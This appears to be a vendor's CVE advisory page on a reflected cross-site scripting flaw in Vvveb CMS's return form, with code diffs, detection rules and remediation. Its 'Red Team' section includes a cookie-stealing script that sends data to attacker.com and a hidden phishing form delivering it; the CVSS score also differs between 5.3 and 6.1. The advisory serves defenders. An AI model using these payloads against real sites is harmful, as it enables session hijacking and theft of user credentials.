☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vvveb logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-45622

CVE-2026-45622 Cross-Site Scripting in Vvveb
📅 PUBLISHED: 2026-05-15 19:17 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-45622 is an unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in Vvveb CMS versions prior to 1.0.8.3. The flaw exists in the public product return form, where the customer_order_id POST parameter is reflected into an error message without proper HTML escaping. An attacker can craft a malicious link or form submission that, when clicked by a victim, executes arbitrary JavaScript in the context of the Vvveb CMS domain. This can lead to session hijacking, credential theft, or defacement. The vulnerability is fixed in version 1.0.8.3.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Vvveb CMS PHP application. While not a package manager ecosystem (NPM/PyPI/Go/Ruby), the risk is elevated due to the unauthenticated nature of the attack vector. Organizations using Vvveb CMS should treat this as a critical supply chain security issue and immediately update to the patched version.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Changed (S:C)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (clicking a link or submitting a form), but no authentication is needed. The impact is limited to the victim's browser session.

Deep Dive & Mechanics

The vulnerability resides in the public product return form endpoint. When a user submits a return request, the application looks up the order by the customer_order_id POST parameter. If the order is not found, the application constructs an error message: Order %s not found!, where %s is replaced with the raw value of customer_order_id. This message is then rendered in the frontend template without any HTML escaping.

Attack Flow:

  1. An attacker crafts a URL or form that submits a POST request to the vulnerable endpoint with a malicious customer_order_id parameter, e.g., <script>alert('XSS')</script>.
  2. The victim clicks the link or submits the form (e.g., via phishing).
  3. The server returns an HTML page containing the error message with the unescaped script.
  4. The victim's browser executes the attacker's JavaScript.

Root Cause: The application uses sprintf or similar string formatting to insert the user input into the error message, but fails to apply htmlspecialchars() or equivalent escaping before output.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.0.8.3):

// In the return form handler
$order_id = $_POST['customer_order_id'];
// ... lookup fails ...
$error_message = sprintf('Order %s not found!', $order_id);
// Output without escaping
echo $error_message;

Patched Code (1.0.8.3):

// In the return form handler
$order_id = $_POST['customer_order_id'];
// ... lookup fails ...
$error_message = sprintf('Order %s not found!', htmlspecialchars($order_id, ENT_QUOTES, 'UTF-8'));
// Output with escaping
echo $error_message;

The fix applies htmlspecialchars() to the $order_id before inserting it into the error message, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

  1. Set up a local Vvveb CMS instance (version < 1.0.8.3).
  2. Navigate to the public product return form (e.g., /index.php?module=returns/return).
  3. Submit the form with the following payload in the customer_order_id field:
    <script>alert(document.cookie)</script>
    
  4. Observe that the script executes in the browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Phishing Link:

<form action="http://target.com/index.php?module=returns/return" method="POST">
  <input type="hidden" name="customer_order_id" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'>
  <input type="submit" value="Click me">
</form>

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for POST requests to the return form endpoint with suspicious customer_order_id values containing <script>, onerror=, or other HTML event handlers.
  • Use WAF rules to block requests where customer_order_id contains HTML tags.

Hardening:

  • Immediately upgrade to Vvveb CMS 1.0.8.3 or later.
  • If upgrade is not possible, apply a virtual patch by adding a WAF rule to sanitize the customer_order_id parameter.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /index.php?module=returns/return with customer_order_id containing <script> or on* event handlers.
    • Outbound connections to attacker-controlled domains from the victim's browser (e.g., attacker.com/steal).
  • File IOCs:

    • Modified or injected JavaScript in browser storage (localStorage, sessionStorage) or cookies.
    • Unexpected entries in web server access logs with encoded XSS payloads.
  • Behavioral IOCs:

    • Unusual error messages containing HTML tags in the return form.
    • Users reporting unexpected pop-ups or redirects after using the return form.

Detection Engineering

YARA Rule

rule CVE_2026_45622_XSS_Reflected {
    meta:
        description = "Detects reflected XSS payload in Vvveb CMS return form"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-45622"
    strings:
        $payload1 = /customer_order_id=.*<script/i
        $payload2 = /customer_order_id=.*onerror/i
        $payload3 = /customer_order_id=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Vvveb CMS Return Form
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against Vvveb CMS return form
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'module=returns/return'
        cs-uri-query|contains|all:
            - 'customer_order_id='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in order IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-45622 Vvveb CMS Reflected XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"module=returns/return"; http_uri; content:"customer_order_id="; http_client_body; pcre:"/customer_order_id=[^&]*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Vvveb CMS to version 1.0.8.3 or later immediately.
  2. Virtual Patching: If upgrade is delayed, deploy a WAF rule to block requests containing <script> or other HTML tags in the customer_order_id parameter.
  3. CSP Implementation: Add a Content Security Policy header to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Long-Term Measures:

  • Conduct a code review to ensure all user inputs are properly escaped before output.
  • Implement input validation to reject HTML tags in order IDs.
  • Enable HTTP-only and Secure flags on session cookies.
  • Regularly update all CMS components and plugins.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-45622/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.